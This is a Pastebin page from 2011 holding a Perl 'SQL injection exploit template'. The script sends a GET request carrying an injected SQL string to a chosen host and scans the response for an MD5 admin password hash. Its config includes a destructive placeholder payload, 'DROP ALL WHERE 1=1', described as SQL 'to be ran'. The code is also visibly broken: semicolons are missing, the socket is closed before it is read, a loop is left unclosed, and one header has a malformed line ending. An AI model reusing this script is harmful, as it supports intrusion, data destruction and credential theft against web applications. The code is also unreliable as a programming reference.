Advertisement
infodox

Perl GET SQL Injection Exploit Template

Dec 28th, 2011
405
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.95 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # www.infodox.co.cc
  3. # blog.infodox.co.cc
  4. # http://twitter.com/info_dox
  5. #Template for GET SQL injections that retrieve an admin MD5 hash
  6. use IO::Socket
  7. ### CONFIG ###
  8. $vuln="vuln.php?vuln=" # the vuln page and param
  9. $sql="DROP ALL WHERE 1=1" # some SQL code to be ran :)
  10. $useragent="FireFox blah blah blah"
  11. ### END OF CONFIG ###
  12. print "Insert the host to connect: ";
  13. chomp ($host=<STDIN>);
  14. $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>"$host", PeerPort=>80)
  15. or die "[-] Connecting ... Can't connect to host.\n\n";
  16.  
  17. $injection=$vuln.$sql
  18.  
  19. print $sock "GET $injection HTTP/1.1\n";
  20. print $sock "Accept: */*n";
  21. print $sock "User-Agent: $useragent\n";
  22. print $sock "Host: $host\n";
  23. print $sock "Connection: close\n\n";
  24. close ($sock); #this line terminates the connection
  25.  
  26. # this bit validates MD5 hashes.
  27. while($answer = <$sock>) {
  28. if ($answer =~ /([0-9a-f]{32})/) {
  29. print "[+] Found! The password hash is: $1\n";
  30. exit(); }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement